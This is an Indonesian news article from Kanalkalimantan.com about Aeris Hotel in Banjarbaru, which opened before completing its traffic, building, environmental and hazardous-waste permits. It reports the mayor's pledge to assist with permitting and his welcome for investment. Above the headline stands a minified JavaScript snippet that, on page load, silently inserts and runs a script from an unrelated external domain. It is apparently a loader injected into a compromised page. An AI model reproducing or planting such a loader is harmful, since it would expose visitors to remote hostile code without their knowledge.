(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Aeris Hotel Kadung Operasi, Wali Kota Banjarbaru Tak Akan Halangi Investasi


KANALKALIMANTAN.COM, BANJARBARU – Manajemen Hotel Aeris Banjarbaru memenuhi pertemuan bersama dinas terkait di ruang tamu Wali Kota Banjarbaru, Rabu (29/5/2024) pagi.

Hotel yang terletak di Jalan Panglima Batur, Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, sebelumnya diduga menyalahi aturan karena sudah mulai beroperasi menerima tamu sebelum melengkapi beberapa izin.

Dalam pertemuan ini, perwakilan Owner dan Manajemen Aeris Hotel, Aristo mengatakan, ada beberapa rekomendasi perizinan yang disampaikan sejumlah dinas di lingkup Pemko Banjarbaru. Diantaranya dari Dinas Perhubungan, Dinas Lingkungan Hidup, dan Dinas Kesehatan.

Baca juga: Ancar-ancar Poros Acil Odah-Rozanie di Pilgub Kalsel, Pesaing Muhidin-Hasnur

Manajemen Hotel Aeris bertemu Wali Kota Banjarbaru Aditya Mufti Ariffin, Rabu (29/5/2024) pagi. Foto: wanda

“Dari Dishub terutama masalah parkir karena daya tampung. Kami berusaha untuk memenuhi itu karena ada beberapa rekomendasi yang harus dipenuhi,” ujar Aristo kepada awak media, Rabu (29/5/2024).

Dijelaskan Aristo bahwa terkait Andalalin (Analisis Dampak Lalu Lintas) sudah dipenuhi, tapi ada rekomendasi item lain dari Dishub yang harus dilengkapi.

Kemudian, sambung dia, ada perubahan dari IMB (Izin Mendirikan Bangunan) yang sudah berubah ke dokumen PBG (Persetujuan Bangunan Gedung) yang masih harus diproses.

“Yang lainnya seperti sertifikat laik sehat ini adalah perizinan yang akan dilakukan pada saat hotel buka. Jadi proses intinya kami sangat terbantu dengan audiensi bersama Wali Kota dan dinas terkait yang berkomitmen membantu,” jelas dia.

Baca juga: Bandara VVIP IKN Mulai Diaspal, Target Uji Coba Juli 2024

Oleh sebab itu, dia menegaskan izin operasional akan dilakukan berproses, sebab masih ada satu lagi lantai yang belum selesai dibangun.

“Lebih banyak kepada promosi, kita ingin masyarakat mengenal, sebelum grand opening banyak tamu-tamu rekanan perhotelan dan klien yang potensinya kita tarik untuk menggunakan fasilitas, kalau dibilang ditutup tidak, karena sekarang masih proses,” ungkapnya.

Sementara itu, Wali Kota Banjarbaru, Aditya Mufti Ariffin menginstruksikan kepada dinas-dinas terkait untuk segala melakukan penyesuaian teknis perizinan hotel yang baru selesai dibangun itu.

“Siap membantu untuk memberikan perizinan, mendampingi pelaksanaan proses perizinan sehingga tidak mengangganggu operasional dan kita (Pemko, red) juga ingin iklim kondusif untuk investasi di Kota Banjarbaru,” ujar Aditya Mufti Ariffin.

Baca juga: Muatan 10 Ton Lebih Terjaring Razia Angkutan ODOL di Trikora

Aditya menegaskan bahwa Pemerintah Kota Banjarbaru terbuka untuk segala investasi yang masuk ke ibu kota Provinsi Kalimantan Selatan.

“Pemko Banjarbaru menyambut baik adanya investasi di Kota Banjarbaru, termasuk juga Aeris Hotel,” tandas Aditya.

Dihubungi terpisah, Kepala Dinas Lingkungan Hidup (DLH) Kota Banjarbaru Sirajoni kepada Kanalkalimantan mengatakan, pihak manajemen hotel sudah melengkapi perizinan terkait dokumen Amdal (Analisis Mengenai Dampak Lingkungan). “Mereka (Aeris Hotel) sementara proses pengajuan dokumen persetujuan lingkungan dan limbah B3,” ujar Sirajoni.

DLH Banjarbaru menginginkan kegiatan penyimpanan limbah B3 untuk mencegah terlepasnya limbah B3 ke lingkungan, sehingga potensi bahaya terhadap manusia dan lingkungan dapat dihindarkan.

Baca juga: Ajukan Usulan Proklim Lestari, Kelurahan Sekumpul Didatangi Tim dari KLHK

Sekadar diketahui, jenis kegiatan pengelolaan limbah B3 yang wajib dilengkapi dengan izin terdiri atas kegiatan pengangkutan, penyimpanan sementara, pengumpulan, pemanfaatan, pengolahan, dan penimbunan.

Dalam melakukan kegiatannya, hotel akan menghasilkan air limbah yang dapat dikategorikan sebagai air limbah domestik karena aktivitasnya relatif sama dengan permukiman.

Air limbah yang tidak diolah dan langsung dibuang ke badan air akan berdampak negatif baik terhadap lingkungan maupun kesehatan masyarakat di sekitarnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

20 menit ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

32 menit ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

42 menit ago

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

9 jam ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More

11 jam ago

‎Gubernur Kalsel Kunjungi Warga Desa Pondok Bababaris

‎KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More

11 jam ago

This website uses cookies.